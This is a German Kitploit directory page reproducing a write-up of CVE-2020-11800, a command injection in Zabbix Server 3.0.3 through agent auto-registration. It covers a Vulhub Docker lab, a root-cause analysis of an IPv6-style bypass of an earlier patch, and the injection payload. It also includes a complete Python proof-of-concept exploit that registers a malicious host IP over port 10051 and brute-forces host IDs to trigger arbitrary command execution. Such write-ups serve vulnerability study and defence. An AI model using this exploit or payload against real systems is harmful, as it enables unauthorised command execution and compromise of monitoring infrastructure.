Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-11800 — PoC-Exploit für CVE-2020-11800, eine Befehlsinjektion im Zabbix Server über bösartige Agenten-Autoregistrierung, mit Python-basierter Payload-Übermittlung und Brute-Forcing von Host-IDs. | Kitploit
Tools/GitHubGitHub/ycseo-git/cve-2020-11800
SchwachstellenanalyseExploitationWebsicherheitPenetrationstestsCommand and ControlPayload-Entwicklung
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

PoC-Exploit für CVE-2020-11800, eine Befehlsinjektion im Zabbix Server über bösartige Agenten-Autoregistrierung, mit Python-basierter Payload-Übermittlung und Brute-Forcing von Host-IDs.

Repository anzeigen
7vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Die gemäß den Aufgabenrichtlinien erforderlichen Abschnitte sind mit „(Erforderlich)“ gekennzeichnet.

1. Umgebung (Erforderlich)

Dockerfile (Erforderlich)

Diese Umgebung verwendet ein benutzerdefiniertes Dockerfile, das auf dem von Vulhub bereitgestellten verwundbaren Zabbix-Server-Image basiert.

FROM vulhub/zabbix:3.0.3-server

Das Dockerfile erstellt ein lokales Image mit der verwundbaren Zabbix-3.0.3-Serverumgebung. Während des Build-Prozesses wurden keine zusätzlichen Pakete oder Konfigurationen hinzugefügt.


docker-compose.yml (Erforderlich)

Die verwundbare Umgebung wird mit Docker Compose konfiguriert.

Die Umgebung besteht aus vier Diensten:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web Interface
  • MySQL Database

Der server-Dienst wird lokal mit dem Dockerfile erstellt:

server:
  build: .
  image: cve-2020-11800-server

Der MySQL-Container importiert automatisch SQL-Initialisierungsdateien aus dem Verzeichnis src/ per Volume-Mount:

volumes:
  - ./src/:/docker-entrypoint-initdb.d/

Dadurch werden das Datenbankschema und die initialen Zabbix-Daten beim Start des Containers automatisch geladen.


Dienstarchitektur (Erforderlich)

Die Umgebung arbeitet mit der folgenden Struktur:

[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Stellt die webbasierte Verwaltungsoberfläche bereit, die über den Browser erreichbar ist.

Über diese Oberfläche konfiguriert der Administrator die Auto-Registrierung und führt überwachungsbezogene Operationen aus.

Zabbix Server

Die Kernkomponente, verantwortlich für:

  • Agentenverwaltung
  • Skriptausführung
  • Überwachungslogik
  • Ereignisverarbeitung

Die Command-Injection-Schwachstelle wird in diesem Container ausgelöst.

Zabbix Agent

Fungiert als überwachter Host und kommuniziert mit dem Zabbix-Server.

Der Exploit missbraucht den Auto-Registrierungsmechanismus während des Agenten-Registrierungsprozesses.

MySQL

Speichert Zabbix-Konfigurationsdaten, Host-Informationen und überwachungsbezogene Daten.


Images und Versionen (Erforderlich)

ServiceImageVersion
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

Die Umgebung basiert auf der von Vulhub bereitgestellten verwundbaren Zabbix-3.0.3-Umgebung.

2. Grundursache (Erforderlich)

Schwachstellenbeschreibung (Erforderlich)

CVE-2020-11800 ist eine Command-Injection-Schwachstelle in der Active-Proxy-Trapper-Funktionalität des Zabbix-Servers.

Die Schwachstelle existiert, weil der Patch für CVE-2017-2824 unvollständig war. Ein Angreifer kann den ursprünglichen Patch mithilfe eines IPv6-artigen Payloads umgehen und beliebige Befehle auf dem Zabbix-Server ausführen.

Die Schwachstelle wird während des Auto-Registrierungsprozesses ausgelöst, wenn der Server vom Benutzer kontrollierte Host-Informationen verarbeitet.


Analyse der Grundursache (Erforderlich)

Die Grundursache der Schwachstelle ist die unsichere Verarbeitung von benutzerkontrollierten Eingaben innerhalb von Shell-Befehlen.

Während der Skriptausführung verwendet der Zabbix-Server den registrierten Host-IP-Wert, um Befehle wie die folgenden zu konstruieren:

ping <host_ip>

Unter normalen Bedingungen:

ping 127.0.0.1

Wenn ein Angreifer jedoch einen Host mit dem folgenden Payload registriert:

ffff:::;touch /tmp/success2

wird der endgültige, von der Shell ausgeführte Befehl zu:

ping ffff:::;touch /tmp/success2

Da das Semikolon (;) als Shell-Befehlstrenner fungiert, interpretiert die Shell die Eingabe als zwei getrennte Befehle:

ping ffff:::
touch /tmp/success2

Dadurch wird die Ausführung beliebiger Befehle möglich.

Patch-Bypass mithilfe von IPv6

Der ursprüngliche Patch für CVE-2017-2824 versuchte, bösartige Eingabewerte einzuschränken.

Die Validierungslogik behandelte jedoch IPv6-artige Eingaben nicht ordnungsgemäß.

Der Payload:

ffff:::;touch /tmp/success2

verwendet ein IPv6-artiges Präfix (ffff:::), um die vorhandene Validierungslogik zu umgehen, während weiterhin Shell-Metazeichen injiziert werden.

Dadurch können Angreifer den vorherigen Patch umgehen und die Command-Injection-Schwachstelle weiter ausnutzen.


Auslöseprozess der Schwachstelle (Erforderlich)

Der Exploit-Prozess läuft in der folgenden Reihenfolge ab:

Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

Der Angreifer sendet zunächst eine bösartige Auto-Registrierungsanfrage mit einem manipulierten IP-Feld.

Nachdem der Host registriert wurde, führt der Zabbix-Server ein Überwachungsskript unter Verwendung des gespeicherten Host-IP-Werts aus.

Während dieses Prozesses wird der bösartige Payload von der Shell interpretiert, was zur Ausführung beliebiger Befehle führt.


Angriffsablauf und Auswirkungen (Erforderlich)

Der Exploit ermöglicht es Angreifern, beliebige Befehle mit den Rechten des Zabbix-Server-Prozesses auszuführen.

In dieser Umgebung erzeugte eine erfolgreiche Ausnutzung die folgende Datei im Server-Container:

/tmp/success2

Dies bestätigt, dass injizierte Shell-Befehle erfolgreich ausgeführt wurden.

In einer realen Umgebung könnte eine erfolgreiche Ausnutzung es Angreifern ermöglichen:

  • beliebige Systembefehle auszuführen
  • Malware herunterzuladen und auszuführen
  • interne Aufklärung durchzuführen
  • zu anderen Systemen zu pivotieren
  • die Überwachungsinfrastruktur zu kompromittieren

Die Schwachstelle ist besonders gefährlich, da Überwachungsserver häufig Einblick in mehrere interne Systeme und Infrastrukturkomponenten haben.

3. PoC (Erforderlich)

PoC-Übersicht (Erforderlich)

Der Proof of Concept (PoC) wurde in Python geschrieben und kommuniziert direkt über den TCP-Port 10051 mit dem Zabbix-Server.

Der PoC führt die folgenden Aktionen aus:

  1. Sendet eine bösartige Auto-Registrierungsanfrage
  2. Führt einen Brute-Force-Angriff auf gültige hostid-Werte durch
  3. Löst die Skriptausführung mithilfe des injizierten Payloads aus

PoC-Code

import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Payload-Analyse (Erforderlich)

Der in diesem PoC verwendete Payload ist:

ffff:::;touch /tmp/success2

Payload-Struktur

TeilZweck
ffff:::IPv6-artiges Präfix zum Umgehen der Validierung
;Shell-Befehlstrenner
touch /tmp/success2Beliebiger, auf dem Server ausgeführter Befehl
Tool herunterladen